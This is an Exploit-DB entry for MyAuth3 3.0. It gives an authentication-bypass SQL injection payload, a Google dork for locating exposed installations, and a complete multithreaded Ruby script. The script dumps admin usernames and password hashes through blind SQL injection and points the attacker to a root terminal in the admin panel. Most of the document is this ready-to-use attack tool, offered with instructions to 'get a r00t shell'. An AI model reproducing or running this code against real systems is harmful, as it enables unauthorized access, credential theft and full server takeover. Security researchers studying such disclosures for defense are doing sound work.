Exploit-DB #21787
Description: MyAuth3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-10-07
Author: Marcio Almeida

Exploit:
# Exploit Title: MyAuth3 Blind SQL Injection / Root Shell Access 0day exploit
# Google Dork: allinurl:1881/?console=panel
# Date: 09/06/2011
# Author: Marcio Almeida (marcio[at]alligatorteam[dot]
org | @marcioalm)
# Version: 3.0
# Tested on: Linux
 
#EDB-Note: apparently no true exploit is needed to dump system pwd hashes, because the admin myauth users have the ability to run a terminal session
 
---------------
PoC (POST data)
---------------
URL:
http://localhost:1881/index.php?console=panel
  
POST Data (Authentication bypass):
panel_cmd=auth&r=ok&user=alligatorteam&pass=' or 1=1#
---------------
 
This application has a accessible root shell in the admin interface located at:
 
http://localhost:1881/admin/
 
When you access it, just go to tools / terminal menu and g0t r00t!
 
The following code will manage all the dirty work for you!
 
enjoy ;-)
 
############## EXPLOIT CODE [myauth3_xpl.rb] ##################
 
require "net/http"
require "net/https"
require "erb"
require "singleton"
require 'uri'
 
sql = "select concat(user,0x20,pass) from admusers where enable = 1 and accesslevel >= 20"
@target = ARGV[0]
numthreads = ARGV[1]
@verbose = ARGV[2]
@cookie = ""
 
    puts "+=============================================================================+"
    puts "| MyAuth 3 - Blind SQL Injection / Root Shell Access 0day exploit             |"
    puts "| Google Dork: allinurl:1881/?console=panel                                   |"
    puts "| author: Marcio Almeida (marcio@alligatorteam.org)                           |"
    puts "|                                                                                 |"
    puts "|       by Alligator Security Team  | irc://irc.freenode.net:8001/#Alligator  |"
    puts "|                                     twitter: @alligatorteam                 |"
    puts "+=============================================================================+"
    puts
if (ARGV[0].nil? || ARGV[1].nil?)
 
    puts "usage (non verbose): ruby -W0 #{__FILE__} address num_threads"
    puts "usage (verbose): ruby -W0 #{__FILE__} address num_threads -v"
    puts "-----------------------------------------------------------"
    puts "Example 1: ruby -W0 #{__FILE__} 127.0.0.1 5"
    puts "Example 2: ruby -W0 #{__FILE__} www.vulnsite.com.br 5 -v"
    exit(0)
end
    
def requisicao(posicao,p_substr,sql)
    useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1'
    @http = Net::HTTP.new(@target, 1881)
 #     @http.use_ssl = true
    parametro = "panel_cmd=auth&r=ok&user=alligatorteam&pass=' or #{posicao} >= ascii(substr((#{sql}),#{p_substr.to_s},1))#"
    begin
    resp, data = @http.post2("/index.php?console=panel", parametro, {'User-Agent' => useragent, 'Cookie' => @cookie.to_s })
     resultado = data.match(/Financeiro/)
    rescue Exception=>e
    puts e
    end
    if resultado.nil?
        return false
    else
        return true
    end
end
 
def busca_r( menor, maior, p_substr,sql )
   return -1 if menor > maior
   return maior if (maior-menor)==1
   posicao = (menor+maior)/2 
   if (requisicao(posicao,p_substr,sql))
     busca_r( menor, posicao, p_substr,sql )
   else
     busca_r( posicao, maior,p_substr,sql )
   end
end
 
def busca_sql(inicio, qtdThreads, sql, str_final)
    resultado = 0
    while (resultado != 1) do
    str_final[inicio] = ""
      resultado = busca_r(0,255,inicio,sql)
      if resultado != 1
          if @verbose == "-v"
        puts inicio.to_s+") Character Found: "+resultado.to_s+" - "+resultado.chr.to_s
        end
        str_final[inicio] += resultado.chr.to_s
        inicio = inicio + qtdThreads.to_i
      end
    end
end
 
def busca_com_threads(sql, numthreads)
str_final = []
 
threads = []
count = 1
numthreads.to_i.times{|i|
   threads << Thread.new {
        busca_sql(count, numthreads, sql, str_final)
    }
   count += 1
}
 
threads.each do |t|
    t.join
end
 
   puts str_final.to_s
 
end
 
puts "When you crack any of the following hashes, go to http://"+ @target + ":1881/admin to login into the application."
puts "Then go to tools / terminal menu and get a r00t shell access ;-)"
puts "=========================================================================="
puts "[+] admusers table dumping... (maybe it'll take a little bit of time...)"
puts "=========================================================================="
 
100.times { |i|
  busca_com_threads(sql+" limit 1 offset " + i.to_s, numthreads)
}